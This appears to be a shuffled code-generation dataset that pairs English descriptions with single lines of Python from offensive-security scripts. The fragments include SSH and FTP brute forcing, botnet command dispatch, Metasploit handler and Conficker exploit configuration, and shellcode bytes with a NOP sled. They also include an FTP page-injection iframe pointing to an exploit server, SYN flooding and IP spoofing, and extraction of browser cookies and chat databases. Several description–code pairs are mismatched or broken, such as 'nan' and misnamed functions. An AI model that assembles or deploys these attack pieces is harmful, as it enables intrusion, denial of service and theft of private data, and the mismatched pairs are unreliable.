472
+ Call the function connect with arguments user, host and password and assign it to child child = connect(user, host, password)
473
+ Start the try block try:
474
+ Exit the function with argument False return False
475
+ Add the options to parser '-p', dest equals to 'pcapFile', type equals to 'string', help equals to 'specify pcap filename' parser.add_option('-p', dest='pcapFile', type='string', help='specify pcap filename')
476
+ Define the function testTTL with argument pkt def testTTL(pkt):
477
+ Import the library for port scanning import nmap
478
+ Assign to name the value of the function str with argument row at the position 1 name = str(row[1])
479
+ Increment unAnsReqs of one unAnsReqs = unAnsReqs + 1
480
+ "and ""\xbd\xca\x85\xe3\xd7\xc4\xfa\x14\xd8\x0e\x8d\x12\x16\x6a""" """\xbd\xca\x85\xe3\xd7\xc4\xfa\x14\xd8\x0e\x8d\x12\x16\x6a"""
481
+ If the substring message is in the function str with argument row if 'message' in str(row):
482
+ Assign to geoLoc the variable country geoLoc = country
483
+ nan def main():
484
+ Assign to data the method read with no argument of the method open with argument image with key 'src' of ab data = ab.open(image['src']).read()
485
+ Assign 0 to preNum preNum = 0
486
+ Import the library to interact with the operative system import os
487
+ Assign to ipsrc the src of the method getlayer with argument IP of pkt ipsrc = pkt.getlayer(IP).src
488
+ Assign the value False to the variable Found Found = False
489
+ For each sport in range from 1023 to 65535 for sport in range(1024,65535):
490
+ Assign to params at the key 'netid' the value netid params['netid'] = netid
491
+ From the library to manipulate network packets import everything from scapy.all import *
492
+ Assign to downloadDB the path of 'downloads.sqlite' joined with pathName downloadDB = os.path.join(pathName, 'downloads.sqlite')
493
+ Exit function with argument False return False
494
+ If value Stop is true if Stop:
495
+ "and ""\x86\xa9\x22\xd6\x7d\xb1\x47\xd3\x3a\x75\xb4\xa9\x53\x10""" """\x86\xa9\x22\xd6\x7d\xb1\x47\xd3\x3a\x75\xb4\xa9\x53\x10"""
496
+ Call the function storlines of ftp with arguments 'STOR ' concatenated to page and the function open with argument page concatenated to '.tmp' ftp.storlines('STOR ' + page, open(page + '.tmp'))
497
+ Call the method PortScanner with no argument and assign the result to nmScan nmScan = nmap.PortScanner()
498
+ Call the method add_option with arguments '-u' dest equals to 'username' and type equals to 'string', parser.add_option('-u', dest='username', type='string',
499
+ Assign to title of self the value title self.title = title
500
+ For each client in botNet for client in botNet:
501
+ Assign the value 0 to the variable Fails Fails = 0
502
+ import the library for instantiate a ssh function import pxssh
503
+ Connect to the database skypeDB conn = sqlite3.connect(skypeDB)
504
+ For each host in the method all_hosts called with no arguments of nmScan for host in nmScan.all_hosts():
505
+ Call the object OptionParser with arguments 'usage %prog ' parser = optparse.OptionParser('usage %prog '+\
506
+ Call the class Thread with arguments target equals to connect, args equal to the tuple host and user and assign it to t t = Thread(target=connect, args=(host, user,\
507
+ Call the method scan with arguments tgtHost and tgtPort on nmScan nmScan.scan(tgtHost,tgtPort)
508
+ Define the function printCookies with argument cookiesDB def printCookies(cookiesDB):
509
+ "Assign to padding the value ""\x90"" multiply by 150" "padding = ""\x90"" * 150"
510
+ For each filename in the method listdir with argument passDir of os for filename in os.listdir(passDir):
511
+ Call the method acquire with no arguments of connection_lock connection_lock.acquire()
512
+ Assign to city the field 'city' city = rec['city']
513
+ Define the list PROMPT with values '# ', '>>> ', '> ' and '\$ ' PROMPT = ['# ', '>>> ', '> ','\$ ']
514
+ Execute the command 'select datetime(date,\'unixepoch\'),address, text from message WHERE address>0;' on c c.execute('select datetime(date,\'unixepoch\'),address, text from message WHERE address>0;')
515
+ If tgt of options is equal to None if options.tgt == None:
516
+ If host is equal to None or if passwdFile is equal to None or if user is equal to None if host == None or passwdFile == None or user == None:
517
+ Exit function with value tgtHosts return tgtHosts
518
+ Define the function checkTTL with arguments ipsrc and ttl def checkTTL(ipsrc, ttl):
519
+ Assign the value 'guest' to userName userName = 'guest'
520
+ Send the messsage 'ViolentPython\r\n' connSkt.send('ViolentPython\r\\n')
521
+ If ret is equal to 0 if ret == 0:
522
+ Assign the value from nmScan sliced from host, 'tcp', 445 and 'state' and assign it to state state = nmScan[host]['tcp'][445]['state']
523
+ If release is equal to true if release:
524
+ If __name__ equals '__main__' if __name__ == '__main__':
525
+ Import the library for connections, the library to interact with the system, the library to manage time and the library containing structures import socket,sys,time,struct
526
+ Assign to pcapFile the variable pcapFile of options pcapFile = options.pcapFile
527
+ Call the method open with arguments 'https://wigle.net/gps/gps/main/login' and reqData of browser browser.open('https://wigle.net/gps/gps/main/login', reqData)
528
+ Import the library to manage regular expressions import re
529
+ Import the library to manage sockets import socket
530
+ Exit function with value '' return ''
531
+ Assign to username the value username of options username = options.username
532
+ If the method haslayer with argument IP of pkt is equals to True if pkt.haslayer(IP):
533
+ Continue the dictionary and the function with key 'credential_1'and value password 'credential_1': password})
534
+ Assign to pkts the result of the function rdpcap with argument 'fastFlux.pcap' pkts = rdpcap('fastFlux.pcap')
535
+ Call the method login with userName and passWord ftp.login(userName, passWord)
536
+ Call the function close of of with no argument f.close()
537
+ Continue the argument with '-u <wigle username> -p <wigle password>' '-u <wigle username> -p <wigle password>')
538
+ Call the function OpenKey with arguments key and the result of the function str with argument guid and assign it to netKey netKey = OpenKey(key, str(guid))
539
+ Assign to userName the value 'guest' userName = 'guest'
540
+ Add the option -u for user with type string and help as specify password file parser.add_option('-u', dest='user', type='string',help='specify the user')
541
+ For each password in the method readlines called with no arguments of pF for password in pF.readlines():
542
+ Start except block except:
543
+ Exit function with value True return True
544
+ Import the libraray for parsing import optparse
545
+ Import the library to manipulate Pdf files import pyPdf
546
+ Define the function handlePkt with argument pkt def handlePkt(pkt):
547
+ Call the method sendline with argument cmd on self.session self.session.sendline(cmd)
548
+ Assign to date the result of function str with argument row at position 1 date = str(row[1])
549
+ Call the method write of configFile with argument 'exploit -j -z\n' configFile.write('exploit -j -z\\n')
550
+ Assign to qname the value qname of the method getlayer with argument DNSQR of pkt qname = pkt.getlayer(DNSQR).qname
551
+ Assign to eth a ethernet connection with argument buf eth = dpkt.ethernet.Ethernet(buf)
552
+ Assign to url the string 'http://www.syngress.com/' url = 'http://www.syngress.com/'
553
+ "Assign to parser the OptionParser with argument the concatenation of""usage %prog "" and ""-p <iPhone Backup Directory> """ "parser = optparse.OptionParser(""usage %prog ""+""-p <iPhone Backup Directory> "")"
554
+ Return the value s return s
555
+ Connect to the database placesDB and assign it to conn conn = sqlite3.connect(placesDB)
556
+ If the value of Found is True if Found:
557
+ Assign to url the variable tgtURL of options url = options.tgtURL
558
+ Exit the function with value recycleDir return recycleDir
559
+ Join the paths of pathName and fileName and assign it to iphoneDB iphoneDB = os.path.join(pathName, fileName)
560
+ Exit the function with argument imgTags return imgTags
561
+ Call the object Browser with no argument from mechanize and assign it browser browser = mechanize.Browser()
562
+ Assign to c the cursor of conn c = conn.cursor()
563
+ Define the function main with no argument def main():
564
+ If ret is equal to 1 if ret == 1:
565
+ Call the member variable tgtHost of options and assign it to host host = options.tgtHost
566
+ Call the function connect with arguments host, user, password connect(host, user, password, False)
567
+ Add the options to parser '-p', dest equals to 'pcapFile', type equals to 'string', help equals to 'specify pcap filename' parser.add_option('-p', dest='pcapFile', type='string',help='specify pcap filename')
568
+ Connect to the database iphoneDB and assign it to conn conn = sqlite3.connect(iphoneDB)
569
+ Define the function printHistory with argument placesDB def printHistory(placesDB):
570
+ Call the function Open key with arguments HKEY_LOCAL_MACHINE key = OpenKey(HKEY_LOCAL_MACHINE,
571
+ Assign to Stop the value False Stop = False
572
+ define the method connect with argument self def connect(self):
573
+ "and ""\x63\x4d\xe7\x79\x74\xb2\xd2\x3e\xea\x4d\xdc\x3e\x22\x8a""" """\x63\x4d\xe7\x79\x74\xb2\xd2\x3e\xea\x4d\xdc\x3e\x22\x8a"""
574
+ Assign an empty list to dirList dirList = []
575
+ Call the function open with arguments passwdFile and 'r' and assign it to pF pF = open(passwdFile, 'r')
576
+ Assign the value host to self.host self.host = host
577
+ Assign to response the result of the function open with argument the concatenation of 'http://ajax.googleapis.com/', 'ajax/services/search/web?v=1.0&q=' and search_term of ab response = ab.open('http://ajax.googleapis.com/'+ 'ajax/services/search/web?v=1.0&q='+ search_term)
578
+ Close the lock screenLock.close()
579
+ Call the function findImages with argument url and assign it to imgTags imgTags = findImages(url)
580
+ Define the function printMessage with argument msgDB def printMessage(msgDB):
581
+ Call the method add_option with arguments '-u', dest equals to 'tgtURL', type equals to 'string' and help= equals to 'specify target url' parser.add_option('-u', dest='tgtURL', type='string', help='specify target url')
582
+ Define the function plotIPs with argument pcap def plotIPs(pcap):
583
+ Receive the response in result results = connSkt.recv(100)
584
+ Increment the variable Fails of one Fails += 1
585
+ Define function setupHandler with arguments configFile, lhost and lport def setupHandler(configFile, lhost, lport):
586
+ Assign to exifGPS the value exifData sliced at 'GPSInfo' exifGPS = exifData['GPSInfo']
587
+ Assign userAgent to addheaders of browser browser.addheaders = userAgent
588
+ Increase addr with value '%02x ' module of the result of the function ord with argument ch addr += '%02x ' % ord(ch)
589
+ Assign to sport the sport of tcp sport = tcp.sport
590
+ Call the function exit with argument 0 of sys sys.exit(0)
591
+ Assign to connStr the value 'ssh ' concatenated to user connStr = 'ssh ' + user +\
592
+ Call the function EnumValue with argument netKey and 5 and assign the result to the tuple n, addr and t (n, addr, t) = EnumValue(netKey, 5)
593
+ Call the member variable passDir of options and assign it to passDir passDir = options.passDir
594
+ Define the function bruteLogin with arguments hostname nad passwdFile def bruteLogin(hostname, passwdFile):
595
+ Call the method expect on child with value a list composed of pexpect.TIMEOUT,perm_denied,ssh_newkey,conn_closed,'$' and '#' ret = child.expect([pexpect.TIMEOUT,perm_denied,ssh_newkey,conn_closed,'$','#',])
596
+ If fileName is equal to None if fileName == None:
597
+ Assign to lport the value of lport of options lport = options.lport
598
+ Open the filename with option 'wb' and assign it to save save = open(filename, 'wb')
599
+ "Use the command ""SELECT datetime(begin_timestamp,'unixepoch'), identity FROM calls, conversations WHERE calls.conv_dbid = conversations.id;""" "c.execute(""SELECT datetime(begin_timestamp,'unixepoch'), identity FROM calls, conversations WHERE calls.conv_dbid = conversations.id;"")"
600
+ Assign to host the value '192.168.95.179' host = '192.168.95.179'
601
+ Call the function printCookies with argument cookiesDB printCookies(cookiesDB)
602
+ "and ""\x7a\xfc\xe3\x7f\xc6\xda\xf3\xb9\xc7\x66\xa7\x15\x9e\x30""" """\x7a\xfc\xe3\x7f\xc6\xda\xf3\xb9\xc7\x66\xa7\x15\x9e\x30"""
603
+ Assign to search the value r at the position 0 splitted at '&' at the position 0 search=r[0].split('&')[0]
604
+ Call the method split with argument ':' on line, take the the result in position 0 and assign it to userName userName = line.split(':')[0]
605
+ "Assign to net the value ""SOFTWARE\Microsoft\Windows NT\CurrentVersion"" and concatenate with next line" "net = ""SOFTWARE\Microsoft\Windows NT\CurrentVersion""+\"
606
+ Call the function nmapScan with arguments tgtHost and tgtPort nmapScan(tgtHost, tgtPort)
607
+ Continue the line with '@' concatenated to host concatenated to ' -i ' concatenated to keyfile concatenated to opt '@' + host + ' -i ' + keyfile + opt
608
+ Call the function printPcap with argument pcap printPcap(pcap)
609
+ If dport is equal to 80 if dport == 80:
610
+ Call the function urlopen with argument imgRead of urllib2 and call the method read with no arguments and assign it to imgContent imgContent = urllib2.urlopen(imgSrc).read()
611
+ Assign to exifData an empty dictionary exifData = {}
612
+ If downloadDB is a file if os.path.isfile(downloadDB):
613
+ Else if ret is more than 3 elif ret > 3:
614
+ If the src of options is equal to None if options.src == None:
615
+ Call the method release with no argument of connection_lock connection_lock.release()
616
+ If the iface of options is equal to None if options.iface == None:
617
+ Call method login with arguments host, user and password s.login(host, user, password)
618
+ Define the variable ssh_newkey and assign the value 'Are you sure you want to continue connecting' ssh_newkey = 'Are you sure you want to continue connecting'
619
+ Create a random source IP src = '.'.join([str(randint(1,254)) for x in range(4)])
620
+ Import the library to use regular expressions import re
621
+ Assign to lhost the value of lhost of options lhost = options.lhost
622
+ If lport is equal to None if lport == None:
623
+ If pktCount contains the key stream if pktCount.has_key(stream):
624
+ Start the try block try:
625
+ Call method sendline with argument password of child child.sendline(password)
626
+ Call the function connect with arguments host, user, password connect(host, user, password, False)
627
+ Define the function connect with arguments host, user, password and release def connect(host, user, password, release):
628
+ Start expect block except:
629
+ Define the function findImages with argument url def findImages(url):
630
+ Take the first argument of stream splitted at ':' and assign it to src src = stream.split(':')[0]
631
+ If keyword of options is equal to None if options.keyword == None:
632
+ If the function dnsQRTest returns True if dnsQRTest(pkt):
633
+ Start the expect block except:
634
+ Assign to results an empty list results = []
635
+ Call the method scan with arguments subnet and '445' of nmScan nmScan.scan(subNet, '445')
636
+ Assign to ab the class anonBrowser with no arguments ab = anonBrowser()
637
+ Start the finally block finally:
638
+ Create an empty dictionary and assign it to ttlValues ttlValues = {}
639
+ If host is equals to None or passDir is equals to None or User is equals to None if host == None or passDir == None or user == None:
640
+ Import the library to manage regular expression import re
641
+ For each imgTag in imgTags for imgTag in imgTags:
642
+ Define function portScan with parameters tgtHost and tgtPorts def portScan(tgtHost, tgtPorts):
643
+ Call the method expect with argument a list composed of the variable TIMEOUT from the library pexpect of child and assign the result to ret ret = child.expect([pexpect.TIMEOUT, \
644
+ Define the function retKML with argument ip def retKML(ip):
645
+ Execute the command 'SELECT host, name, value FROM moz_cookies'on c c.execute('SELECT host, name, value FROM moz_cookies')
646
+ Call the function quit with no argument from the library ftp ftp.quit()
647
+ Add the option -F for passwdFile with type string and help as specify password file parser.add_option('-F', dest='passwdFile', type='string', help='specify password file')
648
+ Assign to seqNum the seq of the method getlayer with argument TCP of ans seqNum = ans.getlayer(TCP).seq
649
+ Call the function sleep with argument 1 of the package time time.sleep(1)
650
+ Assign an empty list to botNet botNet = []
651
+ Increment of one the pktCount at the key stream pktCount[stream] = pktCount[stream] + 1
652
+ "and ""\x92\xf2\x79\xcc\xbe\x53\x12\x89\x2b\xe6\x7f\x2a\x86\x25""" """\x92\xf2\x79\xcc\xbe\x53\x12\x89\x2b\xe6\x7f\x2a\x86\x25"""
653
+ Call the method open with argument imgFileName of Image and assign the result to imgFile imgFile = Image.open(imgFileName)
654
+ Call the function FTP with argument host and assign it to ftp ftp = ftplib.FTP(host)
655
+ "and ""\x6b\x1e\xfb\x7e\x2d\xfa\xaa\x7f\x2d\xa2\x13\xda\x25\x41""" """\x6b\x1e\xfb\x7e\x2d\xfa\xaa\x7f\x2d\xa2\x13\xda\x25\x41"""
656
+ if pathName is equal to None if pathName == None:
657
+ If info exists if info:
658
+ Assign to ssh_newkey the value 'Are you sure you want to continue' ssh_newkey = 'Are you sure you want to continue'
659
+ Assign to TCPlayer the result of the function TCP with argument sport equals to 513, dport equals to 514 and ack equals to ack TCPlayer = TCP(sport=513, dport=514, ack=ack)
660
+ Import the library to localize an IP import pygeoip
661
+ Import the library to localize IPs import pygeoip
662
+ Call the function urlencode with argument params from the library urllib and assign it reqParams reqParams = urllib.urlencode(params)
663
+ From the library to manipulate paths of os import the function basename from os.path import basename
664
+ Download the image imgTag and assign it to imgFileName imgFileName = downloadImage(imgTag)
665
+ Call the function sid2user with argument sid and assign it to user user = sid2user(sid)
666
+ Define the variable maxConnections and assign the value 5 maxConnections = 5
667
+ Create the constant THRESH and assign it to 5 THRESH = 5
668
+ Call the method write of configFile with argument 'set LHOST' concatenated to the function str with argument lhost concatenated to '\n' configFile.write('set LHOST ' + lhost + '\\n')
669
+ Import everything from the library for estabilish a connection from socket import *
670
+ Assign to lport the value '1337' lport = '1337'
671
+ Call the function sleep with argument 5 of the package time time.sleep(5)
672
+ For each row in c for row in c:
673
+ Assign to placesDB the path of 'places.sqlite' joined with pathName placesDB = os.path.join(pathName, 'places.sqlite')
674
+ Assign to fileName the variable fileName of options fileName = options.fileName
675
+ Call method sendline with argument cmd of child child.sendline(cmd)
676
+ Else else:
677
+ Assign to kmlfooter the string '</Document>\n</kml>\n' kmlfooter = '</Document>\\n</kml>\\n'
678
+ Assign to filename the result of the method lstrip with argument 'http://' of image with key 'src' filename = image['src'].lstrip('http://')
679
+ Call the function ddosTest with arguments src, dst, iface and count ddosTest(src, dst, iface, count)
680
+ Define the function findDownload with argument pcap def findDownload(pcap):
681
+ Call the method findAll with argument 'img' imgTags = soup.findAll('img')
682
+ Call the method open with argument url of ab and assign it to html html = ab.open(url)
683
+ If the substring '.zip' is in uri and the substring 'loic' is in uri if '.zip' in uri and 'loic' in uri:
684
+ For each tag and value in the method items with no arguments of info for (tag, value) in info.items():
685
+ Import the library for parsing data import optparse
686
+ Import the library to create a network socket import socket
687
+ For each i in the result of the function range with argument 100 for i in range(100):
688
+ Call the function returnDir with no arguments and assign the result to recycledDir recycledDir = returnDir()
689
+ Call the method write of configFile with argument 'set LPORT ' concatenated to the function str with argument lport concatenated to '\n' configFile.write('set LPORT ' + str(lport) + '\\n')
690
+ Assign to conn_closed the value 'Connection closed by remote host' conn_closed = 'Connection closed by remote host'
691
+ Define the function google with argument search_term def google(search_term):
692
+ Assign to ab the class anonBrowser with no argument ab = anonBrowser()
693
+ Import the library to manage socket import socket
694
+ Assign to count the count of options count = options.count
695
+ Call the function QueryValueEx with arguments key and 'ProfileImagePath' and assign it to the tuple value and type (value, type) = QueryValueEx(key, 'ProfileImagePath')
696
+ Call function exit with argument 0 exit(0)
697
+ "Create a packet pkt with source src, destination dst, UDP with destination port equals to 518 and the load equals to ""\x01\x03\x00\x00\x00\x00\x00\x01\x00\x02\x02\xE8""" "pkt = IP(src=src, dst=dst) / UDP(dport=518) /Raw(load=""\x01\x03\x00\x00\x00\x00\x00\x01\x00\x02\x02\xE8"")"
698
+ Exit function return
699
+ Start finally block finally:
700
+ Call the function testForExif with argument imgFileName testForExif(imgFileName)
701
+ Create a parser with OptionParser 'usage %prog -i <interface> -t <thresh>' "parser = optparse.OptionParser(""usage %prog ""+""-i <interface> -t <thresh>"")"
702
+ Assign 0 to diffSeq diffSeq = 0
703
+ For each pkt in pkts for pkt in pkts:
704
+ Call the function botnetCommand with argument 'uname -v' botnetCommand('uname -v')
705
+ Define the variable host and assign the value '192.168.95.179' host = '192.168.95.179'
706
+ Calculate the state as the as the tgthost with protocol tcp on the port tgtPort with state field state=nmScan[tgtHost]['tcp'][int(tgtPort)]['state']
707
+ Call the function retKML with argument dst and assign it to dstKML dstKML = retKML(dst)
708
+ "and ""\x40\x5c\x64\x0e\xa5\x53\x97\xce\xa1\xe4\xe4\xfc\x6e\x5f""" """\x40\x5c\x64\x0e\xa5\x53\x97\xce\xa1\xe4\xe4\xfc\x6e\x5f"""
709
+ "and ""\x88\x6e\x5c\x3b\xb0\xe4\x9c\xc4\x65\xaa\xcc\x6a\xd5\x0b""" """\x88\x6e\x5c\x3b\xb0\xe4\x9c\xc4\x65\xaa\xcc\x6a\xd5\x0b"""
710
+ Connect to the database downloadDB and assign it to conn conn = sqlite3.connect(downloadDB)
711
+ Exit the function with the tuple None and None return (None, None)
712
+ Assign to the variable maxConnections the value 5 maxConnections = 5
713
+ Call function main with no arguments main()
714
+ "Continue and concatenate with argument ""-F <PDF file name>'" """-F <PDF file name>')"
715
+ Do nothing pass
716
+ Create a parser with OptionParser 'usage %prog -p <pcap file>' parser = optparse.OptionParser('usage %prog -p <pcap file>')
717
+ Assign to the tuple options and args the result of the function parse_args with no argument of parser (options, args) = parser.parse_args()
718
+ Exit the function return
719
+ Concatenate the strings city, ',' and country to geoLoc geoLoc = city + ', ' + country
720
+ Assign to count the value 1 count = 1
721
+ If the method of http is equal to 'GET' if http.method == 'GET':
722
+ "and ""\xce\x10\xc3\x86\xd1\xf5\x7f\xb2\x5a\xf8\xaf\x32\x18\xdf""" """\xce\x10\xc3\x86\xd1\xf5\x7f\xb2\x5a\xf8\xaf\x32\x18\xdf"""
723
+ Assign to rcode the value rcode of the method getlayer with argument DNS of pkt rcode = pkt.getlayer(DNS).rcode
724
+ Define function send_command with arguments self and cmd def send_command(self, cmd):
725
+ Call the open function with arguments page concatenated to '.tmp' and 'w' f = open(page + '.tmp', 'w')
726
+ "and ""\xac\x31\x64\x1f\x38\xac\xdf\x89\x5e\x2d\xb9\xf2\xda\xea""" """\xac\x31\x64\x1f\x38\xac\xdf\x89\x5e\x2d\xb9\xf2\xda\xea"""
727
+ Wait 1 second time.sleep(1)
728
+ Assign to synPkt the IPlayer divided by the TCPlayer synPkt = IPlayer / TCPlayer
729
+ Import the library to manages json files import json
730
+ Call the function findall with arguments r'maplat=.*\&' and resp from re and assign it to rLon rLon = re.findall(r'maplon=.*\&', resp)
731
+ For each stream in pktCount for stream in pktCount:
732
+ Call the method append on botNet with argument client botNet.append(client)
733
+ Call the function spoofConn with arguments srcSpoof, tgt and seqNum spoofConn(srcSpoof, tgt, seqNum)
734
+ Import the library to manage urls import urllib2
735
+ Add the option of the parser p for passDir as a string with help specify directory wtih keys parser.add_option('-d', dest='passDir', type='string',help='specify directory with keys')
736
+ Return the variable kml return kml
737
+ Import the library to parse text import optparse
738
+ Define smbBrute with arguments configFile, tgtHost, passwdFile, lhost and lport def smbBrute(configFile,tgtHost,passwdFile,lhost,lport):
739
+ Call the function handlePkt with argument pkt handlePkt(pkt)
740
+ Call the function send_command with argument command and assign the value to output output = client.send_command(command)
741
+ Call the exit function with argument 0 exit(0)
742
+ Define the function findTgts with argument subNet def findTgts(subNet):
743
+ Assign to search_term the result of the function quote_pulse with argument search_term of urllib search_term = urllib.quote_plus(search_term)
744
+ From the library to parse urls import urlsplit from urlparse import urlsplit
745
+ If placesDB is a file if os.path.isfile(placesDB):
746
+ Return the object child return child
747
+ Call the method parse_args with no arguments of parser and assign the result to the tuple made of options and args (options, args) = parser.parse_args()
748
+ Call the method getDocumentInfo with no argument and assign it to docInfo docInfo = pdfFile.getDocumentInfo()
749
+ Assign to results the result of the function google with argument keyword results = google(keyword)
750
+ "Use the command ""SELECT fullname, skypename, city, country, datetime(profile_timestamp,'unixepoch') FROM Accounts;"" on c" "c.execute(""SELECT fullname, skypename, city, country, datetime(profile_timestamp,'unixepoch') FROM Accounts;"")"
751
+ Call the method write of configFile with argument 'use exploit/multi/handler\n' configFile.write('use exploit/multi/handler\\n')
752
+ For each fileName in dirList for fileName in dirList:
753
+ Define the method __init__ with arguments self, title, text and url def __init__(self,title,text,url):
754
+ Call the function testUserAgent with argument url and userAgent testUserAgent(url, userAgent)
755
+ Append to the list dnsRecords at the key rrname the value rdata dnsRecords[rrname].append(rdata)
756
+ Call the exit function with argument 0 exit(0)
757
+ Divide IPlayer by TCPlayer and assign it to pkt pkt = IPlayer / TCPlayer
758
+ Define the function testProxy with argument url and proxy def testProxy(url, proxy):
759
+ Define the function returnDir with no arguments def returnDir():
760
+ Assign to city the field 'city' city = rec['city']
761
+ Define the function injectPage with arguments ftp, page and redirect def injectPage(ftp, page, redirect):
762
+ Create the tuple kml with arguments '<Placemark>\n', '<name>%s</name>\n', '<Point>\n', '<coordinates>%6f, %6f</coordinates>\n', '</Point>\n' and '</Placemark>\n') kml = ( '<Placemark>\\n', '<name>%s</name>\\n', '<Point>\\n', '<coordinates>%6f, %6f</coordinates>\\n', '</Point>\\n','</Placemark>\\n')
763
+ Define the function explitTest with arguments src, dst, iface and count def exploitTest(src, dst, iface, count):
764
+ Import the library to parse string import optparse
765
+ Call the method write of configFile with argument 'set LPORT ' concatenated to the function str with argument lport concatenated to '\n' configFile.write('set LPORT ' + str(lport) + '\\n')
766
+ Define confickerExploit with arguments configFile, tgtHost, lhost and lport def confickerExploit(configFile,tgtHost,lhost,lport):
767
+ Call the function checkTTL with arguments ipsrc and ttl checkTTL(ipsrc, ttl)
768
+ For each ts and buf in pcap for (ts, buf) in pcap:
769
+ Call the method write of configFile with argument 'set SMBPass' concatenated to the function str with argument password concatenated to '\n' configFile.write('set SMBPass ' + str(password) + '\\n')
770
+ Start expect block with Exception and e except Exception, e:
771
+ Start the expect block except:
772
+ Assign to ret the object pack with arguments '<L' and 0x7C874413 of struct ret = struct.pack('<L', 0x7C874413)
773
+ Call the function mirrorImages with arguments url and dir mirrorImages(url, dir)
774
+ Assign to the variable user the value 'root' user = 'root'
775
+ Assign to parser the OptionParser with argument the concatenation of 'usage %prog ' and '-u <target url>' of optparse parser = optparse.OptionParser('usage %prog ' +'-u <target url>')
776
+ Define the function printCookies with argument url def printCookies(url):
777
+ "Continue the concatenation with '""http:\\\\10.10.10.112:8080\\exploit""></iframe>'" "'""http:\\\\10.10.10.112:8080\\exploit""></iframe>'"
778
+ For each fileName in dirList for fileName in dirList:
779
+ Assign to addr the result of the function str with argument row at the position 1 addr = str(row[1])
780
+ Assign an empty list to retList retList = []
781
+ Add the option to the parser '-p', dest equals to 'pathName', type equals to 'string' and help equals to 'specify skype profile path' parser.add_option('-p', dest='pathName', type='string',help='specify skype profile path')
782
+ Call the function synFlood with arguments synSpoof and srcSpoof synFlood(synSpoof, srcSpoof)
783
+ Send the packet to iface and count equals count send(pkt, iface=iface, count=count)
784
+ define the constructor with arguments self, host and password def __init__(self, host, user, password):
785
+ Call function setdefaulttimeout with parameter 1 setdefaulttimeout(1)
786
+ Do nothing pass
787
+ Assign to pcap the result of the Reader function with argument f of pcap of dpkt pcap = dpkt.pcap.Reader(f)
788
+ Assign to imgSrc the value imgTag sliced at 'src' imgSrc = imgTag['src']
789
+ If rcode is equal to 3 if rcode == 3:
790
+ Assign to cookiesDB the path of 'cookies.sqlite' joined with pathName cookiesDB = os.path.join(pathName, 'cookies.sqlite')
791
+ Exit function with argument 'Unregistered' return 'Unregistered'
792
+ "and ""\xf6\xcb\x27\x12\xeb\x6c\xac\x84\xcf\x8d\x61\x52\x9b\x82""" """\xf6\xcb\x27\x12\xeb\x6c\xac\x84\xcf\x8d\x61\x52\x9b\x82"""
793
+ Change the scope of the variable Stop to global global Stop
794
+ Call the method login with arguments host, user and password of s s.login(host, user, password)
795
+ Call the function Thread with arguments connScan assigned to target and args equals to the tuple tgtHost and the function int with argument tgtPort and assign the result to t t = Thread(target=connScan,args=(tgtHost,int(tgtPort)))
796
+ Assign the value '<iframe src=' concatenated with the next line to redirect redirect = '<iframe src='+\
797
+ Call the method close with no arguments of imgFile imgFile.close()
798
+ Do nothing pass
799
+ Assign to response the result of the method open with argument the concatenation of 'http://ajax.googleapis.com/', 'ajax/services/search/web?v=1.0&q=' and search_term of ab response = ab.open('http://ajax.googleapis.com/'+ 'ajax/services/search/web?v=1.0&q='+ search_term)
800
+ Call the function system with argument 'msfconsole -r meta.rc' from the library os os.system('msfconsole -r meta.rc')
801
+ Call the method prompt on self.session with no arguments self.session.prompt()
802
+ Exit function with argument 0 exit(0)
803
+ Assign to unAnsReqs the value 0 unAnsReqs = 0
804
+ Define the function retGeoStr with argument ip def printPcap(pcap):
805
+ Call the function exploitTest with arguments src, dst, iface and count exploitTest(src, dst, iface, count)
806
+ Call the method write of configFile with argument 'set SMBUser' concatenated to the function str with argument username concatenated to '\n' configFile.write('set SMBUser ' + str(username) + '\\n')
807
+ Assign the object FTP from ftplib with argument host and assign it to ftp ftp = ftplib.FTP(host)
808
+ Exit function with argument None return None
809
+ Add the option -H for tgtHost with type string and help as specify target host parser.add_option('-H', dest='tgtHost', type='string',help='specify target host')
810
+ From the library to manipulate images import Image from PIL import Image
811
+ Assign to the tuple options and args the result of the method parse_args with no argument of parser (options, args) = parser.parse_args()
812
+ If Fails is more than five if Fails > 5:
813
+ Call the method open with arguments respURL and reqParams of browser then call the method read with no argument and assign it to resp resp = browser.open(respURL, reqParams).read()
814
+ Assign the result of the method connect with no argument to self.session self.session = self.connect()
815
+ "and ""\x11\xd0\x48\xf3\xcb\x8a\x27\x5d\x9b\x4b\x04\x5e\xdd\x53""" """\x11\xd0\x48\xf3\xcb\x8a\x27\x5d\x9b\x4b\x04\x5e\xdd\x53"""
816
+ Call the function setupHandler with argument configFile, lhost and lport setupHandler(configFile, lhost, lport)
817
+ Define the function viewPage with argument url def viewPage(url):
818
+ Exit function returning retList return retList
819
+ Assign to url the string 'http://whatismyuseragent.dotdoh.com/' url = 'http://whatismyuseragent.dotdoh.com/'
820
+ Call the method write with argument data of save save.write(data)
821
+ Call the class Thread with argument target equals to connect and assign it to t t = Thread(target=connect,\
822
+ Start expect block except:
823
+ Exit the function with sid value return sid
824
+ Assign to parser the OptionParser with argument the concatenation of 'usage %prog ' and '-u <target url> -d <destination directory>' of optparse parser = optparse.OptionParser('usage %prog '+ '-u <target url> -d <destination directory>')
825
+ Import the library to parse data import optparse
826
+ Call the method parse_args with no arguments and assign it to the tuple options and args (options, args) = parser.parse_args()
827
+ Execute the command 'SELECT name, source, datetime(endTime/1000000,\'unixepoch\') FROM moz_downloads;' on c c.execute('SELECT name, source, datetime(endTime/1000000,\'unixepoch\') FROM moz_downloads;')
828
+ Start block finally finally:
829
+ Assign to keyword the variable keyword of options keyword = options.keyword
830
+ Call the function open with arguments passwdFile and 'r' and assign it to fn fn = open(passwdFile, 'r')
831
+ Define the function printRecord with argument tgt def printRecord(tgt):
832
+ Assign to msgDirection the concatenation of To, the function str with argument row at position 1 and : msgDirection = 'To ' + str(row[1]) + ': '
833
+ Call the function val2addr with argument addr and assign it to macAddr macAddr = val2addr(addr)
834
+ Assign to the variable connStr the concatenation of 'ssh ', user, '@' and host connStr = 'ssh ' + user + '@' + host
835
+ Exit function returning value s return s
836
+ Assign to url the result of function str with argument row at position 0 url = str(row[0])
837
+ If the substring google is the url in lower case if 'google' in url.lower():
838
+ If city is not equal to an empty string if city != '':
839
+ Assign to object the result of the method load with argument response of json objects = json.load(response)
840
+ if the function str with argument row at position 1 is not equal to function str with argument row at position 2 if str(row[1]) != str(row[2]):
841
+ "Parse the information 'usage %prog ""and ""target url'" "parser = optparse.OptionParser('usage %prog ""+""-u <target url>')"
842
+ Assign to tgt the IP '173.255.226.98' tgt = '173.255.226.98'
843
+ Assign an empty list to tgtHosts tgtHosts = []
844
